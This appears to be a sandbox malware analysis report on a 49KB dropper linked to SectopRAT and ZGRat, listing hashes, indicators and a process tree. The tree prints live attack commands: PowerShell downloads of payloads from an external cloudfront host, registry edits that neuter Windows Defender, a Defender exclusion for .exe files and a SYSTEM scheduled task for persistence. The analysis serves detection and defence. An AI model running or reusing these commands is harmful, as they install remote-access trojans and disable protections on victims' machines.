Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-04-2024 15:10

General

  • Target

    file.exe

  • Size

    49KB

  • MD5

    705685a8deace858e7fc849471c045f3

  • SHA1

    10132365b465a6f231c8e292f462c2d005b4f9b0

  • SHA256

    7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9

  • SHA512

    b9dd7d5ca384ff4ad053d5f01d721f1180b1028e40c96cd94e04f2b2965e2f4be6cf4d2595f67c3e62039320b517e32200ffec165a9c544344d666732a57c56d

  • SSDEEP

    1536:XferrLkSRoe8C4UZsys0Dh1duFpyFI+Plt:Xfi3k+oWDBDh1duFpXWlt

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d68kcn56pzfb4.cloudfront.net/load/th.php?c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d68kcn56pzfb4.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d68kcn56pzfb4.cloudfront.net/load/dl.php?id=444

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d68kcn56pzfb4.cloudfront.net/load/dl.php?id=456

Signatures

  • Detect ZGRat V1 3 IoCs
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

  • SectopRAT payload 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 31 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:404
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsp470C.tmp\lood.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4392
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d68kcn56pzfb4.cloudfront.net/load/th.php?c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1488
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d68kcn56pzfb4.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3544
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4508
        • C:\Users\Admin\AppData\Local\Temp\u3h8.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u3h8.0.exe"
          4⤵
          • Executes dropped EXE
          PID:1112
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1112 -s 1016
            5⤵
            • Program crash
            PID:3796
        • C:\Users\Admin\AppData\Local\Temp\u3h8.2\run.exe
          "C:\Users\Admin\AppData\Local\Temp\u3h8.2\run.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          PID:1656
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            5⤵
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            PID:4060
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:4620
        • C:\Users\Admin\AppData\Local\Temp\u3h8.3.exe
          "C:\Users\Admin\AppData\Local\Temp\u3h8.3.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:4712
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1060
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 1184
          4⤵
          • Program crash
          PID:4432
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d68kcn56pzfb4.cloudfront.net/load/dl.php?id=444', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4292
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d68kcn56pzfb4.cloudfront.net/load/dl.php?id=456','i3.exe')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2012
      • C:\Users\Admin\AppData\Local\Temp\i3.exe
        i3.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4088
        • C:\Users\Admin\AppData\Local\Temp\7zS8F9D.tmp\Install.exe
          .\Install.exe /Bdidlg "385128" /S
          4⤵
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Enumerates system info in registry
          • Suspicious use of WriteProcessMemory
          PID:2320
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3432
            • C:\Windows\SysWOW64\forfiles.exe
              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1192
              • C:\Windows\SysWOW64\cmd.exe
                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                7⤵
                • Suspicious use of WriteProcessMemory
                PID:1836
                • \??\c:\windows\SysWOW64\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                  8⤵
                    PID:1608
              • C:\Windows\SysWOW64\forfiles.exe
                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:4972
                • C:\Windows\SysWOW64\cmd.exe
                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                  7⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2844
                  • \??\c:\windows\SysWOW64\reg.exe
                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                    8⤵
                      PID:3744
                • C:\Windows\SysWOW64\forfiles.exe
                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2296
                  • C:\Windows\SysWOW64\cmd.exe
                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                    7⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3052
                    • \??\c:\windows\SysWOW64\reg.exe
                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                      8⤵
                        PID:2304
                  • C:\Windows\SysWOW64\forfiles.exe
                    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4684
                    • C:\Windows\SysWOW64\cmd.exe
                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                      7⤵
                        PID:3656
                        • \??\c:\windows\SysWOW64\reg.exe
                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                          8⤵
                            PID:3500
                      • C:\Windows\SysWOW64\forfiles.exe
                        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                        6⤵
                          PID:1128
                          • C:\Windows\SysWOW64\cmd.exe
                            /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                            7⤵
                              PID:1168
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                8⤵
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2432
                                • C:\Windows\SysWOW64\gpupdate.exe
                                  "C:\Windows\system32\gpupdate.exe" /force
                                  9⤵
                                    PID:4604
                          • C:\Windows\SysWOW64\forfiles.exe
                            "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                            5⤵
                              PID:4868
                              • C:\Windows\SysWOW64\cmd.exe
                                /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                6⤵
                                  PID:2792
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                    7⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:3884
                                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                      "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                      8⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2012
                              • C:\Windows\SysWOW64\schtasks.exe
                                schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 15:11:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS8F9D.tmp\Install.exe\" Wt /xrBdidbFqJ 385128 /S" /V1 /F
                                5⤵
                                • Drops file in Windows directory
                                • Creates scheduled task(s)
                                PID:3972
                              • C:\Windows\SysWOW64\forfiles.exe
                                "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
                                5⤵
                                  PID:3376
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C schtasks /run /I /tn biPxHmULFllsbMgnpt
                                    6⤵
                                      PID:1084
                                      • \??\c:\windows\SysWOW64\schtasks.exe
                                        schtasks /run /I /tn biPxHmULFllsbMgnpt
                                        7⤵
                                          PID:1360
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1112 -ip 1112
                              1⤵
                                PID:4720
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4508 -ip 4508
                                1⤵
                                  PID:4112
                                • C:\Users\Admin\AppData\Local\Temp\7zS8F9D.tmp\Install.exe
                                  C:\Users\Admin\AppData\Local\Temp\7zS8F9D.tmp\Install.exe Wt /xrBdidbFqJ 385128 /S
                                  1⤵
                                  • Executes dropped EXE
                                  • Drops desktop.ini file(s)
                                  • Drops file in System32 directory
                                  • Modifies data under HKEY_USERS
                                  PID:2592
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                    2⤵
                                      PID:2500
                                      • C:\Windows\SysWOW64\forfiles.exe
                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                        3⤵
                                          PID:4744
                                          • C:\Windows\SysWOW64\cmd.exe
                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                            4⤵
                                              PID:3800
                                              • \??\c:\windows\SysWOW64\reg.exe
                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                5⤵
                                                  PID:2648
                                            • C:\Windows\SysWOW64\forfiles.exe
                                              forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                              3⤵
                                                PID:4568
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                  4⤵
                                                    PID:4240
                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                      5⤵
                                                        PID:2924
                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                    3⤵
                                                      PID:4280
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                        4⤵
                                                          PID:4380
                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                            5⤵
                                                              PID:3852
                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                          forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                          3⤵
                                                            PID:4832
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                              4⤵
                                                                PID:2340
                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                  5⤵
                                                                    PID:4468
                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                3⤵
                                                                  PID:1928
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                    4⤵
                                                                      PID:524
                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                        5⤵
                                                                        • Drops file in System32 directory
                                                                        • Modifies data under HKEY_USERS
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:2104
                                                                        • C:\Windows\SysWOW64\gpupdate.exe
                                                                          "C:\Windows\system32\gpupdate.exe" /force
                                                                          6⤵
                                                                            PID:4224
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                    2⤵
                                                                    • Drops file in System32 directory
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:3860
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                      3⤵
                                                                        PID:2124
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                          4⤵
                                                                            PID:4720
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:4144
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                            3⤵
                                                                              PID:1368
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                              3⤵
                                                                                PID:1812
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                3⤵
                                                                                  PID:3528
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                  3⤵
                                                                                    PID:2164
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                    3⤵
                                                                                      PID:2396
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                      3⤵
                                                                                        PID:212
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                        3⤵
                                                                                          PID:5004
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                          3⤵
                                                                                            PID:3648
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
